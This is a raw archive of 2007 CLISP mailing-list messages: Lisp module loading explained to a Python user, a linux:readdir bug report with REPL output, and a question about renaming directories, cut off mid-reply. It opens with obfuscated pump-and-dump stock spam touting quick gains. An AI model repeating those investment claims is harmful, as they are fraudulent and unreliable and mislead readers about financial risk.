X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 HELO_DYNAMIC_DHCP Relay HELO'd using suspicious hostname (DHCP) 0.5 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [88.229.239.125 listed in combined.njabl.org] Subject: [clisp-list] The name of the Lord Dragon be blessed in the Light. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 20 Aug 2007 08:39:00 -0000 H*E R'E WE GO AGAI N! T+H,E B-I,G O*N_E BEF+ORE T*H*E SEP*TEMBER'.RALLY! T,H,E MARK*ET IS AB OUT TO P.O-P., A N_D SO IS E X+M T-! Tic+k: E,X_M+T 5-d-ay pot_enti+al: 0,..4,0 Fi+rm: EXCHA* NGE MOB.ILE T E,L E (Ot'her O'T_C*: E,XMT.PK) A*s-k*: 0.._1*0 (+25.0,0%*) UP TO 2*5-% in 1 day N o+t o n-l.y d'o*e+s t+h.i+s f*i-r-m h*a-v e gr+eat fundam*enta+ls, b+u*t ge.tting t'h-i's opp*o'rtunity at t-h*e ri,ght t,i'm_e*, rig-ht befo*re t,h-e rall_y is w-h,a,t mak*es t,h-i.s d,e*a l so sw'eet! T+h+i-s a gr'eat opport un.ity to at leas.t dou,ble up! Y.o'u ought a s,t'o'p a-n*d thin-k ma-ybe I '_m try-ing to h.e-l_p y_o,u a little*, ri.ght. I*ndic,ates t*h+e dire'c+tion of as'sign,ment fiel,ds. T*h'i-s bring+s us to vendo,r r,espons*e. T_h.i,s br-ings up t+h*e t a's*k l,i's_t-. It is enoug h t_h-a*t t+h e ave_rage co_mp.uter u_s_e*r is parano,i'd ab_out vir,uses_, b'u t if y'o.u ".c_r*y wolf-" t-o-o m'a'n_y t_imes peop'le l o_s,e h+o,p.e in t+h'e package,. From me@vagmim.com Mon Aug 20 18:37:02 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1INIg2-00032y-5T for clisp-list@lists.sourceforge.net; Mon, 20 Aug 2007 18:37:02 -0700 Received: from py-out-1112.google.com ([64.233.166.178]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1INIg1-00006G-Fo for clisp-list@lists.sourceforge.net; Mon, 20 Aug 2007 18:37:01 -0700 Received: by py-out-1112.google.com with SMTP id a25so2401518pyi for ; Mon, 20 Aug 2007 18:36:57 -0700 (PDT) Received: by 10.142.112.5 with SMTP id k5mr676285wfc.1187660216100; Mon, 20 Aug 2007 18:36:56 -0700 (PDT) Received: by 10.143.44.17 with HTTP; Mon, 20 Aug 2007 18:36:56 -0700 (PDT) Message-ID: Date: Tue, 21 Aug 2007 07:06:56 +0530 From: "Vagmi Mudumbai" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Module Loading in Lisp X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 21 Aug 2007 01:37:02 -0000 Hi all, I started playing around with Lisp for the past couple of days. I am a python programmer so please be gentle. :-) As I understand, there are many ways to do the the python equivalent of an import in Lisp. You can either to a (load :filename) or (require :filename). There is also the (import ...) thingy for which I appear to need a (defpackage ... ) and (in-package ...). Given my Python background, I was having a bit of a disconnect understanding the concept in Lisp. When we do a import modulename in python, and if it has already been imported, python does nothing. That way if there are global variables present in the module imported, even if I import them several times again in other modules, it would not get imported again and my module variables will remain intact. Is there anyway, in which, I could do the same with Lisp? Say, I have a module called lib.lisp which has the single line. (setf *var* 20) I then have lib1.lisp, which has the following. (require :lib) (setf *var* 40) I then have lib2.lisp which requires both lib and lib1. (require :lib1) (require :lib) Then the value of *var* when finally executing lib2 is 20 and not 40. I suspect that I am not following the lisp style of programming. If so, can you please point me in the right direction? Regards, Vagmi From sds@gnu.org Tue Aug 21 07:05:10 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1INUM1-0000HR-Qo for clisp-list@lists.sourceforge.net; Tue, 21 Aug 2007 07:05:09 -0700 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1INULy-0004mC-3E for clisp-list@lists.sourceforge.net; Tue, 21 Aug 2007 07:05:09 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id A1250770; Tue, 21 Aug 2007 10:05:25 -0400 Message-ID: <46CAF10A.80000@gnu.org> Date: Tue, 21 Aug 2007 10:04:58 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 To: Vagmi Mudumbai References: In-Reply-To: X-Enigmail-Version: 0.95.3 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Module Loading in Lisp X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 21 Aug 2007 14:05:10 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi, Vagmi Mudumbai wrote: > As I understand, there are many ways to do the the python equivalent I don't know what python import does. I hope a python expert will chime in. > of an import in Lisp. You can either to a (load :filename) or (require > :filename). There is also the (import ...) thingy for which I appear > to need a (defpackage ... ) and (in-package ...). Given my Python these are 3 separate functions: 1. LOAD: loads a specific file, i.e., evaluates forms contained in the file one by one. file name argument should be a string or a pathname, although CLISP also accepts symbols. http://clisp.cons.org/impnotes/system-dict.html#loadfile http://www.lisp.org/HyperSpec/Body/fun_load.html 2. REQUIRE: ensures that a module is present by loading a file, if it has not yet been loaded. the module name argument should be a symbol or a string. if you intend to use REQUIRE, you should have a PROVIDE form in the module. http://clisp.cons.org/impnotes/system-dict.html#require http://www.lisp.org/HyperSpec/Body/fun_providecm_require.html 3. IMPORT: adds symbols ("names") to the internals of a package ("namespace"). I don't think you want to do this. http://www.lisp.org/HyperSpec/Body/fun_import.html > Say, I have a module called lib.lisp which has the single line. > > (setf *var* 20) you probably want DEFVAR or DEFPARAMETER here. > I then have lib1.lisp, which has the following. > > (require :lib) if you do this, you should do (PROVIDE :LIB) in lib. > (setf *var* 40) > > I then have lib2.lisp which requires both lib and lib1. > > (require :lib1) > (require :lib) > > Then the value of *var* when finally executing lib2 is 20 and not 40. > I suspect that I am not following the lisp style of programming. If > so, can you please point me in the right direction? namespaces are orthogonal to filenames. if you do (DESCRIBE '*VAR*), you will be told that *VAR* is a symbol in package CL-USER - the default package. if you want to create other packages, you need to do that explicitly using DEFPACKAGE: - ---- lib.lisp --- (defpackage #:my-pack (:export #:*foo* #:bar)) (in-package #:my-pack) (defvar *foo* 42) (defun bar (x) (+ x *foo*)) (defun baz (x) (* x *foo*)) (provide "lib") - ---- lib.lisp --- - ---- bil.lisp --- ;; current package = CL-USER; "lib" stuff is not available (print *package*) ; prints # (require "lib") ; "lib" stuff is now available (print my-pack:*foo*) ; prints 42 (print (my-pack:bar 7)) ; prints 49 (print (my-pack::baz 2)) ; print 84, ; need two columns "::" because baz is not exported from my-pack (in-package #:my-pack) (print (baz 3)) ; prints 126, now all my-pack internals are available directly - ---- bil.lisp --- your best friend is the function FIND-ALL-SYMBOLS: if you are getting the wrong behavior, you might be using the wrong symbol. http://www.lisp.org/HyperSpec/Body/fun_find-all-symbols.html in general, you might find it more profitable to ask general CL question on the comp.lang.lisp newsgroup, see http://clisp.cons.org/impnotes/faq.html#faq-help -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFGyvEKPp1Qsf2qnMcRAh3PAJ98R1aRo5OQK/iZ3J5/jqRdnx7xYACgresP N0t1q6X2mwA9Xkm/uo2svWE= =AbDw -----END PGP SIGNATURE----- From pjb@informatimago.com Mon Aug 20 22:10:59 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1INM15-0007AP-Ja for clisp-list@lists.sourceforge.net; Mon, 20 Aug 2007 22:10:59 -0700 Received: from smtp21.orange.fr ([80.12.242.46]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1INM13-0007uU-Vp for clisp-list@lists.sourceforge.net; Mon, 20 Aug 2007 22:10:59 -0700 Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf2106.orange.fr (SMTP Server) with ESMTP id A6BAF1C000D1 for ; Tue, 21 Aug 2007 07:10:47 +0200 (CEST) Received: from localhost.localdomain (ASt-Lambert-153-1-105-157.w90-2.abo.wanadoo.fr [90.2.32.157]) by mwinf2106.orange.fr (SMTP Server) with ESMTP id 8A6201C000CE; Tue, 21 Aug 2007 07:10:47 +0200 (CEST) X-ME-UUID: 20070821051047566.8A6201C000CE@mwinf2106.orange.fr Received: by localhost.localdomain (Postfix, from userid 1000) id D4232190347; Tue, 21 Aug 2007 07:10:46 +0200 (CEST) To: "Vagmi Mudumbai" Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwAQMAAABtzGvEAAAABlBMVEUAAAD///+l2Z/dAAAA oElEQVR4nK3OsRHCMAwF0O8YQufUNIQRGIAja9CxSA55AxZgFO4coMgYrEDDQZWPIlNAjwq9 033pbOBPtbXuB6PKNBn5gZkhGa86Z4x2wE67O+06WxGD/HCOGR0deY3f9Ijwwt7rNGNf6Oac l/GuZTF1wFGKiYYHKSFAkjIo1b6sCYS1sVmFhhhahKQssRjRT90ITWUk6vvK3RsPGs+M1RuR mV+hO/VvFAAAAABJRU5ErkJggg== X-Accept-Language: fr, es, en X-Disabled: X-No-Archive: no References: From: Pascal Bourguignon Date: Tue, 21 Aug 2007 07:10:46 +0200 In-Reply-To: (Vagmi Mudumbai's message of "Tue, 21 Aug 2007 07:06:56 +0530") Message-ID: <87hcmtv5ex.fsf@thalassa.informatimago.com> User-Agent: Gnus/5.1008 (Gnus v5.10.8) Emacs/22.1.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO X-Mailman-Approved-At: Tue, 21 Aug 2007 08:45:26 -0700 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Module Loading in Lisp X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 21 Aug 2007 05:10:59 -0000 "Vagmi Mudumbai" writes: > Hi all, > > I started playing around with Lisp for the past couple of days. I am a > python programmer so please be gentle. :-) > > As I understand, there are many ways to do the the python equivalent > of an import in Lisp. You can either to a (load :filename) or (require > :filename). There is also the (import ...) thingy for which I appear > to need a (defpackage ... ) and (in-package ...). Given my Python > background, I was having a bit of a disconnect understanding the > concept in Lisp. When we do a import modulename in python, and if it > has already been imported, python does nothing. That way if there are > global variables present in the module imported, even if I import them > several times again in other modules, it would not get imported again > and my module variables will remain intact. Is there anyway, in which, > I could do the same with Lisp? > > Say, I have a module called lib.lisp which has the single line. > [...] In addition to the nice answers you got on cll, please note that in clisp, there's a specific notion of "module" which are object code libraries (usually written in C, using the internals of clisp, and with some lisp glue) that can be linked into a specific linkset for clisp. Clisp is a specific implementation of Common Lisp (CL) written in C. -- __Pascal Bourguignon__ http://www.informatimago.com/ NOTE: The most fundamental particles in this product are held together by a "gluing" force about which little is currently known and whose adhesive power can therefore not be permanently guaranteed. From jamie@jamiecraig.com Tue Aug 21 08:06:24 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1INVJ4-0007Km-KX for clisp-list@lists.sourceforge.net; Tue, 21 Aug 2007 08:06:12 -0700 Received: from madhacker.demon.co.uk ([80.177.120.104] helo=helium.darkdevices.com ident=Debian-exim) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1INVIk-0003wo-5F for clisp-list@lists.sourceforge.net; Tue, 21 Aug 2007 08:05:51 -0700 Received: from jamie by helium.darkdevices.com with local (Exim 4.63) (envelope-from ) id 1INVId-0004yi-3M for clisp-list@lists.sourceforge.net; Tue, 21 Aug 2007 16:05:43 +0100 Date: Tue, 21 Aug 2007 16:05:43 +0100 To: clisp-list@lists.sourceforge.net Message-ID: <20070821150543.GA19112@jamiecraig.com> References: <46CAF10A.80000@gnu.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <46CAF10A.80000@gnu.org> User-Agent: Mutt/1.5.13 (2006-08-11) From: Jamie Craig X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO X-Mailman-Approved-At: Tue, 21 Aug 2007 08:45:25 -0700 Subject: Re: [clisp-list] Module Loading in Lisp X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 21 Aug 2007 15:06:25 -0000 On Tue, Aug 21, 2007 at 10:04:58AM -0400, Sam Steingold wrote: > Hi, > > Vagmi Mudumbai wrote: > > As I understand, there are many ways to do the the python equivalent > > I don't know what python import does. > I hope a python expert will chime in. Expert's overstating it, but I know python pretty well. A python import is broadly similar to (require :package), but python defines a pretty strict mapping between filenames and packages, and as a result doesn't use provides etc. It's also complicated a little by the ability to use the same statement more like a LISP import, in the following form: from packagename import symbol1,symbol2 Require is almost certainly what Vagmi's looking for; the two have reasonably similar behaviour as long as you remember the provides. -- Jamie From clisp@bignoli.it Tue Aug 21 09:44:02 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1INWph-0006E4-KQ for clisp-list@lists.sourceforge.net; Tue, 21 Aug 2007 09:43:59 -0700 Received: from smtpi2.ngi.it ([88.149.128.21]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1INWpg-0007U3-W7 for clisp-list@lists.sourceforge.net; Tue, 21 Aug 2007 09:43:57 -0700 Received: from zayn.local.lan (88-149-143-162.dynamic.ngi.it [88.149.143.162]) by smtpi2.ngi.it (8.13.8/8.13.8) with ESMTP id l7LGhqei006254 for ; Tue, 21 Aug 2007 18:43:53 +0200 Received: from zayn.local.lan (localhost [127.0.0.1]) by zayn.local.lan (8.14.1/8.14.1) with ESMTP id l7LGhqIj005647 for ; Tue, 21 Aug 2007 18:43:52 +0200 Received: (from aurelio@localhost) by zayn.local.lan (8.14.1/8.14.1/Submit) id l7LGhqAK005644; Tue, 21 Aug 2007 18:43:52 +0200 From: Aurelio Bignoli MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <18123.5694.316496.742735@zayn.local.lan> Date: Tue, 21 Aug 2007 18:43:42 +0200 To: clisp-list@lists.sourceforge.net X-Mailer: VM 7.19 under Emacs 21.4.2 X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.2 UPPERCASE_25_50 message body is 25-50% uppercase X-Mailman-Approved-At: Tue, 21 Aug 2007 18:03:39 -0700 Subject: [clisp-list] Bug in linux:dirent X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 21 Aug 2007 16:44:04 -0000 There is a problem with linux:dirent and linux:readdir: CL-USER> (setf *dd* (linux:opendir "/usr/local/src/clisp/")) # CL-USER> (linux:readdir *dd*) #S(LINUX:dirent :D_INO 19916 :D_OFF 0 :D_RECLEN 2 :D_TYPE 0 :D_NAME "") CL-USER> (linux:readdir *dd*) #S(LINUX:dirent :D_INO 19819 :D_OFF 0 :D_RECLEN 40960 :D_TYPE 24 :D_NAME "") CL-USER> (linux:readdir *dd*) #S(LINUX:dirent :D_INO 19917 :D_OFF 0 :D_RECLEN 11392 :D_TYPE 36 :D_NAME "") CL-USER> (linux:readdir *dd*) #S(LINUX:dirent :D_INO 19921 :D_OFF 0 :D_RECLEN 10368 :D_TYPE 41 :D_NAME "") CL-USER> (linux:readdir *dd*) #S(LINUX:dirent :D_INO 20051 :D_OFF 0 :D_RECLEN 5120 :D_TYPE 203 :D_NAME "") CL-USER> (linux:readdir *dd*) #S(LINUX:dirent :D_INO 20093 :D_OFF 0 :D_RECLEN 25088 :D_TYPE 124 :D_NAME "") CL-USER> (linux:readdir *dd*) #S(LINUX:dirent :D_INO 19919 :D_OFF 0 :D_RECLEN 53504 :D_TYPE 59 :D_NAME "") CL-USER> (linux:readdir *dd*) #S(LINUX:dirent :D_INO 19923 :D_OFF 0 :D_RECLEN 54912 :D_TYPE 117 :D_NAME "") CL-USER> (linux:readdir *dd*) #S(LINUX:dirent :D_INO 20091 :D_OFF 0 :D_RECLEN 32128 :D_TYPE 207 :D_NAME "") CL-USER> (linux:readdir *dd*) #S(LINUX:dirent :D_INO 20095 :D_OFF 0 :D_RECLEN 7808 :D_TYPE 53 :D_NAME "") CL-USER> (linux:closedir *dd*) 0 CL-USER> The d_name field should of course contain the file name instead of garbage. The cause of the bug seems to be the definition of the d_off field as off_t in linux:dirent: CL-USER> (use-package :ffi) T CL-USER> (def-c-struct my-dirent (d_ino long) (d_off long) (d_reclen ushort) (d_type uchar) (d_name (c-array-max character 256))) MY-DIRENT CL-USER> (def-call-out my-readdir (:name "readdir") (:library "libglib.so") (:language :stdc) (:arguments (dirp c-pointer)) (:return-type (c-ptr-null my-dirent))) MY-READDIR CL-USER> (setf *dd* (linux:opendir "/usr/local/src/clisp/")) # CL-USER> (my-readdir *dd*) #S(MY-DIRENT :D_INO 19916 :D_OFF 2 :D_RECLEN 16 :D_TYPE 0 :D_NAME ".") CL-USER> (my-readdir *dd*) #S(MY-DIRENT :D_INO 19819 :D_OFF 1613824 :D_RECLEN 16 :D_TYPE 0 :D_NAME "..") CL-USER> (my-readdir *dd*) #S(MY-DIRENT :D_INO 19917 :D_OFF 2370688 :D_RECLEN 16 :D_TYPE 0 :D_NAME "CVS") CL-USER> (my-readdir *dd*) #S(MY-DIRENT :D_INO 19921 :D_OFF 2697344 :D_RECLEN 16 :D_TYPE 0 :D_NAME "doc") CL-USER> (my-readdir *dd*) #S(MY-DIRENT :D_INO 20051 :D_OFF 30086144 :D_RECLEN 16 :D_TYPE 0 :D_NAME "src") CL-USER> (my-readdir *dd*) #S(MY-DIRENT :D_INO 20093 :D_OFF 108814848 :D_RECLEN 16 :D_TYPE 0 :D_NAME "unix") CL-USER> (my-readdir *dd*) #S(MY-DIRENT :D_INO 19919 :D_OFF 289132800 :D_RECLEN 24 :D_TYPE 0 :D_NAME "benchmarks") CL-USER> (my-readdir *dd*) #S(MY-DIRENT :D_INO 19923 :D_OFF 326489728 :D_RECLEN 20 :D_TYPE 0 :D_NAME "emacs") CL-USER> (my-readdir *dd*) #S(MY-DIRENT :D_INO 20091 :D_OFF 332365184 :D_RECLEN 20 :D_TYPE 0 :D_NAME "tests") CL-USER> (my-readdir *dd*) #S(MY-DIRENT :D_INO 20095 :D_OFF 473243264 :D_RECLEN 20 :D_TYPE 0 :D_NAME "utils") CL-USER> (linux:closedir *dd*) 0 CL-USER> off_t is defined in modules/bindings/glibc/linux.lisp by the following two def-c-type: (def-c-type __off_t long) (def-c-type off_t __off_t) but for some reasons I can't figure out d_off ends up to be a bit: CL-USER> (setf *dd* (linux:opendir "/usr/local/src/clisp/")) # CL-USER> (linux:readdir *dd*) #S(LINUX:dirent :D_INO 19916 :D_OFF 0 :D_RECLEN 2 :D_TYPE 0 :D_NAME "") CL-USER> (inspect *) #S(LINUX:dirent :D_INO 19916 :D_OFF 0 :D_RECLEN 2 :D_TYPE 0 :D_NAME ""): structure object type: LINUX:dirent 0 [D_INO]: 19916 1 [D_OFF]: 0 2 [D_RECLEN]: 2 3 [D_TYPE]: 0 4 [D_NAME]: "" INSPECT-- type :h for help; :q to return to the REPL ---> 1 0: atom type: BIT class: #1=# INSPECT-- type :h for help; :q to return to the REPL ---> From lisp-clisp-list@m.gmane.org Tue Aug 21 21:52:11 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1INiCQ-0001Xg-LS for clisp-list@lists.sourceforge.net; Tue, 21 Aug 2007 21:52:10 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1INiCP-0005II-9f for clisp-list@lists.sourceforge.net; Tue, 21 Aug 2007 21:52:10 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1INiCC-0006ke-4J for clisp-list@lists.sourceforge.net; Wed, 22 Aug 2007 06:51:56 +0200 Received: from etthundrat.olf.sgsnet.se ([193.11.222.85]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 22 Aug 2007 06:51:56 +0200 Received: from mange by etthundrat.olf.sgsnet.se with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 22 Aug 2007 06:51:56 +0200 X-Injected-Via-Gmane: http://gmane.org/ Mail-Followup-To: clisp-list@lists.sourceforge.net To: clisp-list@lists.sourceforge.net From: Magnus Henoch Date: Wed, 22 Aug 2007 06:51:47 +0200 Lines: 14 Message-ID: <87veb8i330.fsf@freemail.hu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: etthundrat.olf.sgsnet.se Mail-Copies-To: never Jabber-Id: legoscia@jabber.cd.chalmers.se User-Agent: Gnus/5.110006 (No Gnus v0.6) Emacs/22.1.50 (berkeley-unix) Cancel-Lock: sha1:8+fIjfV20GFiw9nbT31yE1Uu9X8= Sender: news X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Renaming directories X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 22 Aug 2007 04:52:11 -0000 I'm trying to rename a directory with CLISP (from CVS HEAD, on NetBSD/powerpc). However, RENAME-FILE doesn't do what I want: [1]> (rename-file "/tmp/foo/" "/tmp/bar/") *** - no file name given: #P"/tmp/foo/" [3]> (rename-file "/tmp/foo" "/tmp/bar") *** - RENAME-FILE: "/tmp/foo" names a directory, not a file Is that a bug or a feature? Should I use some other function? Magnus From sds@gnu.org Wed Aug 22 07:01:04 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1INqlS-00009l-K5 for clisp-list@lists.sourceforge.net; Wed, 22 Aug 2007 07:01:03 -0700 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1INqlO-0006wk-Jg for clisp-list@lists.sourceforge.net; Wed, 22 Aug 2007 07:00:54 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id A1A30654; Wed, 22 Aug 2007 10:01:07 -0400 Message-ID: <46CC4188.5080904@gnu.org> Date: Wed, 22 Aug 2007 10:00:40 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <87veb8i330.fsf@freemail.hu> In-Reply-To: <87veb8i330.fsf@freemail.hu> X-Enigmail-Version: 0.95.3 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Renaming directories X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 22 Aug 2007 14:01:04 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Magnus Henoch wrote: > I'm trying to rename a directory with CLISP (from CVS HEAD, on > NetBSD/powerpc). However, RENAME-FILE doesn't do what I want: > > [1]> (rename-file "/tmp/foo/" "/tmp/bar/") > > *** - no file name given: #P"/tmp/foo/" > > [3]> (rename-file "/tmp/foo" "/tmp/bar") > > *** - RENAME-FILE: "/tmp/foo" names a directory, not a file > > Is that a bug or a feature? Should I use some other function? CLISP has traditionally taken the position that "file" and "directory" are disjoint categories, so, if a function operates on "files", it should reject "directories". e.g., in CLISP, PROBE-FILE does not work on directories, while EXT:PROBE-DIRECTORY does not work on files (those who want one probe function, can use DIRECTORY). in the case of RENAME-FILE, there is no function RENAME-DIRECTORY, so we either need to make the former work on directories, or add the latter. what is the better option? Sam. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFGzEGIPp1Qsf2qnMcRAnwpAJ0c+dVnwuAMcatTX+K831dWdKimegCgjYRh rQmLesr9W8CkLaUj4G+pubY= =t1iV -----END PGP SIGNATURE----- From pjb@informatimago.com Wed Aug 22 07:20:35 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1INr4R-0002Gl-3r for clisp-list@lists.sourceforge.net; Wed, 22 Aug 2007 07:20:31 -0700 Received: from smtp28.orange.fr ([80.12.242.101]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1INr4P-0004Rx-BK for clisp-list@lists.sourceforge.net; Wed, 22 Aug 2007 07:20:31 -0700 Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf2816.orange.fr (SMTP Server) with ESMTP id 14E3170000CB for ; Wed, 22 Aug 2007 16:20:19 +0200 (CEST) Received: from [192.168.1.12] (unknown [83.204.128.227]) by mwinf2816.orange.fr (SMTP Server) with ESMTP id DA22070000BB; Wed, 22 Aug 2007 16:20:18 +0200 (CEST) X-ME-UUID: 20070822142018893.DA22070000BB@mwinf2816.orange.fr In-Reply-To: <46CC4188.5080904@gnu.org> References: <87veb8i330.fsf@freemail.hu> <46CC4188.5080904@gnu.org> Mime-Version: 1.0 (Apple Message framework v752.2) Content-Type: text/plain; charset=ISO-8859-1; delsp=yes; format=flowed Message-Id: <8DE02796-E121-4FBE-81D9-6F3F25E52D9C@informatimago.com> Content-Transfer-Encoding: quoted-printable From: Pascal Bourguignon Date: Wed, 22 Aug 2007 16:20:09 +0200 To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.752.2) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Renaming directories X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 22 Aug 2007 14:20:36 -0000 On 22 ao=FBt 07, at 16:00, Sam Steingold wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Magnus Henoch wrote: >> I'm trying to rename a 